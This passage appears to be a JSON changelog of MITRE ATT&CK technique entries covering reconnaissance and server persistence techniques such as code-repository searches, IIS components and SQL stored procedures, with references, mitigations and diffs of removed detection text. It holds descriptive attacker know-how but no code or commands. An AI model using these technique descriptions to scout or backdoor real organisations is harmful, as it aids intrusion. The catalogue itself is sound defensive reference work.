], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.188000+00:00\", \"old_value\": \"2025-04-15 23:04:23.505000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0856: Detection of Search Open Websites/Domains" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-08-09 13:01:43.314000+00:00", + "modified": "2025-10-24 17:48:56.790000+00:00", + "name": "Code Repositories", + "description": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593/003", + "external_id": "T1593.003" + }, + { + "source_name": "GitHub Cloud Service Credentials", + "description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.", + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Burrough, @mattburrough, Microsoft", + "Vinayak Wadhwa, SAFE Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.790000+00:00\", \"old_value\": \"2025-04-15 22:04:43.188000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0805: Detection of Code Repositories" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:50:12.809000+00:00", + "modified": "2025-10-24 17:48:55.709000+00:00", + "name": "Search Engines", + "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593/002", + "external_id": "T1593.002" + }, + { + "source_name": "SecurityTrails Google Hacking", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.", + "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks" + }, + { + "source_name": "ExploitDB GoogleHacking", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "url": "https://www.exploit-db.com/google-hacking-database" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.709000+00:00\", \"old_value\": \"2025-04-15 23:03:45.401000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0811: Detection of Search Engines" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:49:31.262000+00:00", + "modified": "2025-10-24 17:49:18.054000+00:00", + "name": "Social Media", + "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593/001", + "external_id": "T1593.001" + }, + { + "source_name": "Cyware Social Media", + "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", + "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.054000+00:00\", \"old_value\": \"2025-04-15 23:08:29.336000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0812: Detection of Social Media" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:51:50.306000+00:00", + "modified": "2025-10-24 17:48:26.799000+00:00", + "name": "Search Victim-Owned Websites", + "description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003), as well as by leveraging files such as sitemap.xml and robots.txt.(Citation: Perez Sitemap XML 2023)(Citation: Register Robots TXT 2015) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1594", + "external_id": "T1594" + }, + { + "source_name": "Perez Sitemap XML 2023", + "description": "Adi Perez. (2023, February 22). How Attackers Can Misuse Sitemaps to Enumerate Users and Discover Sensitive Information. Retrieved July 18, 2024.", + "url": "https://medium.com/@adimenia/how-attackers-can-misuse-sitemaps-to-enumerate-users-and-discover-sensitive-information-361a5065857a" + }, + { + "source_name": "Comparitech Leak", + "description": "Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020.", + "url": "https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/" + }, + { + "source_name": "Register Robots TXT 2015", + "description": "Darren Pauli. (2015, May 19). Robots.txt tells hackers the places you don't want them to look. Retrieved July 18, 2024.", + "url": "https://www.theregister.com/2015/05/19/robotstxt/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "James P Callahan, Professional Paranoid" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.799000+00:00\", \"old_value\": \"2025-04-15 23:04:36.505000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0810: Detection of Search Victim-Owned Websites" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28 17:52:07.296000+00:00", + "modified": "2025-10-24 17:49:27.065000+00:00", + "name": "Server Software Component", + "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505", + "external_id": "T1505" + }, + { + "source_name": "volexity_0day_sophos_FW", + "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.", + "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.065000+00:00\", \"old_value\": \"2025-04-16 20:37:21.713000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\\n\\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\\n-\\n-Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) \"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1024: Restrict Registry Permissions", + "M1026: Privileged Account Management", + "M1042: Disable or Remove Feature or Program", + "M1045: Code Signing", + "M1046: Boot Integrity", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0547: Detection Strategy for T1505 - Server Software Component" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-06-03 18:44:29.770000+00:00", + "modified": "2025-10-24 17:49:15.437000+00:00", + "name": "IIS Components", + "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/004", + "external_id": "T1505.004" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + }, + { + "source_name": "Trustwave IIS Module 2013", + "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.", + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/" + }, + { + "source_name": "ESET IIS Malware 2021", + "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.", + "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf" + }, + { + "source_name": "IIS Backdoor 2011", + "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.", + "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html" + }, + { + "source_name": "Microsoft IIS Modules Overview 2007", + "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.", + "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview" + }, + { + "source_name": "Microsoft ISAPI Extension All Incoming 2017", + "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.", + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)" + }, + { + "source_name": "Microsoft ISAPI Extension Overview 2017", + "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.", + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)" + }, + { + "source_name": "Microsoft ISAPI Filter Overview 2017", + "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.", + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)" + }, + { + "source_name": "MMPC ISAPI Filter 2012", + "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.", + "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wes Hurd" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.437000+00:00\", \"old_value\": \"2025-04-25 14:47:43.995000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\\\system32\\\\inetsrv\\\\config\\\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\\n\\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\\\system32\\\\inetsrv\\\\config\\\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\\n-\\n-Monitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0068: Detection Strategy for T1505.004 - Malicious IIS Components" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-12-12 14:59:58.168000+00:00", + "modified": "2025-10-24 17:49:38.624000+00:00", + "name": "SQL Stored Procedures", + "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/001", + "external_id": "T1505.001" + }, + { + "source_name": "Microsoft CLR Integration 2017", + "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017" + }, + { + "source_name": "Microsoft xp_cmdshell 2017", + "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.", + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017" + }, + { + "source_name": "Kaspersky MSSQL Aug 2019", + "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.", + "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/" + }, + { + "source_name": "NetSPI Startup Stored Procedures", + "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.", + "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/" + }, + { + "source_name": "NetSPI SQL Server CLR", + "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.", + "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/" + } + ], + "object_marking_refs": [ + 